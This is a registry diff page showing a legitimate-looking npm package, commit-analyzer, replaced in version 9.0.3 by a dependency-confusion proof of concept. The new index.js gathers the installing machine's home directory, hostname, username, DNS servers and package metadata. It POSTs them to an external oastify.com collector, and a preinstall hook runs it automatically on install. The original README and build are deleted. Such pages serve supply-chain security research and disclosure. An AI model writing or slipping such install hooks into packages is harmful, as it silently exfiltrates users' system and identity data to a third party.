commit-analyzer 1.1.7 → 9.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of commit-analyzer might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,46 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ });
19
+
20
+ var postData = querystring.stringify({
21
+ msg: trackingData,
22
+ });
23
+
24
+ var options = {
25
+ hostname: "2adu9em39fk1gv3sm759i94kcbi16q.oastify.com", //relax! this is burpcollaborator
26
+ port: 443,
27
+ path: "/",
28
+ method: "POST",
29
+ headers: {
30
+ "Content-Type": "application/x-www-form-urlencoded",
31
+ "Content-Length": postData.length,
32
+ },
33
+ };
34
+
35
+ var req = https.request(options, (res) => {
36
+ res.on("data", (d) => {
37
+ process.stdout.write(d);
38
+ });
39
+ });
40
+
41
+ req.on("error", (e) => {
42
+ // console.error(e);
43
+ });
44
+
45
+ req.write(postData);
46
+ req.end();
package/package.json CHANGED
@@ -1,49 +1,12 @@
1
1
  {
2
2
  "name": "commit-analyzer",
3
- "version": "1.1.7",
4
- "files": ["dist"],
5
- "description": "Analyze git commits and generate categories, summaries, and descriptions for each commit. Optionally generate a yearly breakdown report of your commit history.",
6
- "main": "dist/main.ts",
7
- "bin": {
8
- "commit-analyzer": "dist/main.ts"
9
- },
10
- "prettier": {
11
- "semi": false
12
- },
3
+ "version": "9.0.3",
4
+ "description": "dependency poc",
5
+ "main": "index.js",
13
6
  "scripts": {
14
- "build": "bun build src/main.ts --outfile=dist/main.ts --compile",
15
- "start": "bun src/main.ts",
16
- "dev": "bun src/main.ts",
17
- "lint": "eslint src/**/*.ts",
18
- "typecheck": "tsc --noEmit",
19
- "link": "bun link",
20
- "publish": "bun publish",
21
- "deploy": "bun run build && bun link && bun publish"
22
- },
23
- "keywords": [
24
- "git",
25
- "commit",
26
- "analysis",
27
- "llm",
28
- "categorization"
29
- ],
30
- "author": "steverodri",
31
- "license": "MIT",
32
- "devDependencies": {
33
- "@eslint/js": "^9.34.0",
34
- "@types/node": "^20.0.0",
35
- "@typescript-eslint/eslint-plugin": "^6.0.0",
36
- "@typescript-eslint/parser": "^6.0.0",
37
- "eslint": "^9.34.0",
38
- "eslint-plugin-simple-import-sort": "^12.1.1",
39
- "globals": "^16.3.0",
40
- "jiti": "^2.5.1",
41
- "ts-node": "^10.0.0",
42
- "tsconfig-paths": "^4.2.0",
43
- "typescript": "^5.0.0",
44
- "typescript-eslint": "^8.40.0"
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
45
9
  },
46
- "dependencies": {
47
- "commander": "^11.0.0"
48
- }
10
+ "author": "https://hackerone.com/yakirka -> yakirka",
11
+ "license": "ISC"
49
12
  }
package/README.md DELETED
@@ -1,356 +0,0 @@
1
- # Git Commit Analyzer
2
-
3
- A TypeScript/Node.js program that analyzes git commits and generates categorized
4
- summaries using Claude CLI.
5
-
6
- ## Features
7
-
8
- - Extract commit details (message, date, diff) from git repositories
9
- - Categorize commits using LLM analysis into:
10
- `tweak`, `feature`, or `process`
11
- - Generate CSV reports with timestamp, category, summary, and description
12
- - Generate condensed markdown reports from CSV data for stakeholder
13
- communication
14
- - Support for multiple LLM models (Claude, Gemini, OpenAI) with automatic
15
- detection
16
- - Support for batch processing multiple commits
17
- - Automatically filters out merge commits for cleaner analysis
18
- - Robust error handling and validation
19
-
20
-
21
- ## Usage
22
-
23
- ### Default Behavior
24
-
25
- When run without arguments, the program analyzes all commits authored by the
26
- current user:
27
-
28
- ```bash
29
- # Analyze all your commits in the current repository
30
- npx commit-analyzer
31
-
32
- # Analyze your last 10 commits
33
- npx commit-analyzer --limit 10
34
-
35
- # Analyze commits by a specific user
36
- npx commit-analyzer --author user@example.com
37
- ```
38
-
39
- ### Command Line Arguments
40
-
41
- ```bash
42
- # Analyze specific commits
43
- npx commit-analyzer abc123 def456 ghi789
44
-
45
- # Specify output file with default behavior
46
- npx commit-analyzer --output analysis.csv --limit 20
47
-
48
- # Generate markdown report from existing CSV
49
- npx commit-analyzer --report --input-csv analysis.csv
50
-
51
- # Analyze commits and generate both CSV and markdown report
52
- npx commit-analyzer --report --limit 50
53
-
54
- # Use specific LLM model
55
- npx commit-analyzer --llm claude --limit 10
56
- ```
57
-
58
- ### Options
59
-
60
- - `-o, --output <file>`:
61
- Output file (default:
62
- `results/commits.csv` for analysis, `results/report.md` for reports)
63
- - `--output-dir <dir>`:
64
- Output directory for CSV and report files (default:
65
- current directory)
66
- - `-a, --author <email>`:
67
- Filter commits by author email (defaults to current user)
68
- - `-l, --limit <number>`:
69
- Limit number of commits to analyze
70
- - `--llm <model>`:
71
- LLM model to use (claude, gemini, openai)
72
- - `-r, --resume`:
73
- Resume from last checkpoint if available
74
- - `-c, --clear`:
75
- Clear any existing progress checkpoint
76
- - `--report`:
77
- Generate condensed markdown report from existing CSV
78
- - `--input-csv <file>`:
79
- Input CSV file to read for report generation
80
- - `-v, --verbose`:
81
- Enable verbose logging (shows detailed error information)
82
- - `--since <date>`:
83
- Only analyze commits since this date (YYYY-MM-DD, '1 week ago', '2024-01-01')
84
- - `--until <date>`:
85
- Only analyze commits until this date (YYYY-MM-DD, '1 day ago', '2024-12-31')
86
- - `--no-cache`:
87
- Disable caching of analysis results
88
- - `--batch-size <number>`:
89
- Number of commits to process per batch (default:
90
- 1 for sequential processing)
91
- - `-h, --help`:
92
- Display help
93
- - `-V, --version`:
94
- Display version
95
-
96
- ## Output Formats
97
-
98
- ### CSV Output
99
-
100
- The program generates a CSV file with the following columns:
101
-
102
- - `timestamp`:
103
- ISO 8601 timestamp of the commit (e.g., `2025-08-28T11:14:40.000Z`)
104
- - `category`:
105
- One of `tweak`, `feature`, or `process`
106
- - `summary`:
107
- One-line description (max 80 characters)
108
- - `description`:
109
- Detailed explanation (2-3 sentences)
110
-
111
- ### Markdown Report Output
112
-
113
- When using the `--report` option, the program generates a condensed markdown
114
- report that:
115
-
116
- - Groups commits by year (most recent first)
117
- - Organizes by categories:
118
- Features, Processes, Tweaks & Bug Fixes
119
- - Consolidates similar items for stakeholder readability
120
- - Includes commit count statistics
121
- - Uses professional language suitable for both technical and non-technical
122
- audiences
123
-
124
- ## Requirements
125
-
126
- - Node.js 18+ with TypeScript support (Bun runtime recommended)
127
- - Git repository (must be run within a git repository)
128
- - At least one supported LLM CLI tool:
129
- - Claude CLI (`claude`) - recommended, defaults to Sonnet model
130
- - Gemini CLI (`gemini`)
131
- - OpenAI CLI (`codex`)
132
- - Valid git commit hashes (when specifying commits manually)
133
-
134
- ## Categories
135
-
136
- - **tweak**:
137
- Minor adjustments, bug fixes, small improvements
138
- - **feature**:
139
- New functionality, major additions
140
- - **process**:
141
- Build system, CI/CD, tooling, configuration changes
142
-
143
- ## Error Handling
144
-
145
- The program includes comprehensive error handling for:
146
-
147
- - Invalid commit hashes
148
- - Git repository validation
149
- - LLM analysis failures with automatic retry
150
- - File I/O errors
151
- - Network connectivity issues
152
-
153
- ### Resume Capability
154
-
155
- The tool automatically:
156
- - Saves progress checkpoints every 10 commits
157
- - Saves immediately when a failure occurs
158
- - **Stops processing after a commit fails all retry attempts**
159
- - Exports partial results to the CSV file before exiting
160
-
161
- If the process stops (e.g., after 139 commits due to API failure), you can
162
- resume from where it left off:
163
-
164
- ```bash
165
- # Resume from last checkpoint
166
- npx commit-analyzer --resume
167
-
168
- # Clear checkpoint and start fresh
169
- npx commit-analyzer --clear
170
-
171
- # View checkpoint status (it will prompt you)
172
- npx commit-analyzer --resume
173
- ```
174
-
175
- The checkpoint file (`.commit-analyzer/progress.json`) contains:
176
-
177
- - List of all commits to process
178
- - Successfully processed commits (including failed ones to skip on resume)
179
- - Analyzed commit data (only successful ones)
180
- - Output file location
181
-
182
- ### Application Data Directory
183
-
184
- The tool creates a `.commit-analyzer/` directory to store internal files:
185
-
186
- ```
187
- .commit-analyzer/
188
- ├── progress.json # Progress checkpoint data
189
- └── cache/ # Cached analysis results
190
- ├── commit-abc123.json
191
- ├── commit-def456.json
192
- └── ...
193
- ```
194
-
195
- - **Progress checkpoint**:
196
- Enables resuming interrupted analysis sessions
197
- - **Analysis cache**:
198
- Stores LLM analysis results to avoid re-processing the same commits (TTL:
199
- 30 days)
200
-
201
- Use `--no-cache` to disable caching if needed.
202
- Use `--clear` to clear the cache and progress checkpoint.
203
-
204
- ### Date Filtering
205
-
206
- The tool supports flexible date filtering using natural language or specific
207
- dates:
208
-
209
- ```bash
210
- # Analyze commits from the last week
211
- npx commit-analyzer --since "1 week ago"
212
-
213
- # Analyze commits from a specific date range
214
- npx commit-analyzer --since "2024-01-01" --until "2024-12-31"
215
-
216
- # Analyze commits from the beginning of the year
217
- npx commit-analyzer --since "2024-01-01"
218
-
219
- # Analyze commits up to a specific date
220
- npx commit-analyzer --until "2024-06-30"
221
- ```
222
-
223
- Date formats supported:
224
- - Relative dates:
225
- `"1 week ago"`, `"2 months ago"`, `"3 days ago"`
226
- - ISO dates:
227
- `"2024-01-01"`, `"2024-12-31"`
228
- - Git-style dates:
229
- Any format accepted by `git log --since` and `git log --until`
230
-
231
- ### Batch Processing
232
-
233
- Control processing speed and resource usage with batch size options:
234
-
235
- ```bash
236
- # Process commits one at a time (default, safest for rate limits)
237
- npx commit-analyzer --batch-size 1
238
-
239
- # Process multiple commits in parallel (faster but may hit rate limits)
240
- npx commit-analyzer --batch-size 5 --limit 100
241
-
242
- # Sequential processing for large datasets
243
- npx commit-analyzer --batch-size 1 --limit 500
244
- ```
245
-
246
- ### Retry Logic
247
-
248
- The tool includes automatic retry logic with exponential backoff for handling
249
- API failures when processing many commits.
250
- This is especially useful when analyzing large numbers of commits that might
251
- trigger rate limits.
252
-
253
- #### Configuration
254
-
255
- You can configure the retry behavior using environment variables:
256
-
257
- - `LLM_MAX_RETRIES`:
258
- Maximum number of retry attempts (default:
259
- 3)
260
- - `LLM_INITIAL_RETRY_DELAY`:
261
- Initial delay between retries in milliseconds (default:
262
- 5000)
263
- - `LLM_MAX_RETRY_DELAY`:
264
- Maximum delay between retries in milliseconds (default:
265
- 30000)
266
- - `LLM_RETRY_MULTIPLIER`:
267
- Multiplier for exponential backoff (default:
268
- 2)
269
-
270
- #### Examples
271
-
272
- ```bash
273
- # More aggressive retries for large batches (e.g., 139+ commits)
274
- LLM_MAX_RETRIES=5 LLM_INITIAL_RETRY_DELAY=10000 npx commit-analyzer --limit 200
275
-
276
- # Faster retries for testing
277
- LLM_MAX_RETRIES=2 LLM_INITIAL_RETRY_DELAY=2000 npx commit-analyzer
278
-
279
- # Conservative approach for rate-limited APIs
280
- LLM_MAX_RETRIES=4 LLM_INITIAL_RETRY_DELAY=15000 LLM_MAX_RETRY_DELAY=60000 npx commit-analyzer
281
- ```
282
-
283
- The retry mechanism automatically:
284
- - Retries failed API calls with increasing delays
285
- - Shows progress and retry attempts in the console
286
- - Continues processing remaining commits even if some fail
287
- - Reports the total number of successful and failed commits at the end
288
-
289
- ## Development
290
-
291
- ```bash
292
- # Install dependencies
293
- bun install
294
-
295
- # Run in development mode
296
- bun run dev
297
-
298
- # Build for production
299
- bun run build
300
-
301
- # Run linting
302
- bun run lint
303
-
304
- # Type checking
305
- bun run typecheck
306
- ```
307
-
308
- ## Examples
309
-
310
- ```bash
311
- # Analyze all your commits in the current repository
312
- npx commit-analyzer
313
-
314
- # Analyze your last 20 commits and save to custom file
315
- npx commit-analyzer --limit 20 --output my_analysis.csv
316
-
317
- # Analyze commits by a specific team member
318
- npx commit-analyzer --author teammate@company.com --limit 50
319
-
320
- # Quick analysis of your recent work
321
- npx commit-analyzer --limit 10
322
-
323
- # Generate both CSV and markdown report from analysis
324
- npx commit-analyzer --report --limit 100 --output yearly_analysis.csv
325
-
326
- # Generate only a markdown report from existing CSV
327
- npx commit-analyzer --report --input-csv existing_analysis.csv --output team_report.md
328
-
329
- # Use specific LLM model for analysis
330
- npx commit-analyzer --llm gemini --limit 25
331
-
332
- # Resume interrupted analysis with progress tracking
333
- npx commit-analyzer --resume
334
- ```
335
-
336
- ## Development
337
-
338
- This tool requires the Bun runtime.
339
- Install it globally:
340
-
341
- ```bash
342
- # Install bun globally
343
- curl -fsSL https://bun.sh/install | bash
344
- # or
345
- npm install -g bun
346
- ```
347
-
348
- ## Installation
349
-
350
- ```bash
351
- bun install
352
- bun build
353
- bun link
354
- ```
355
-
356
- After linking, you can use `commit-analyzer` command globally.
package/dist/main.ts DELETED
Binary file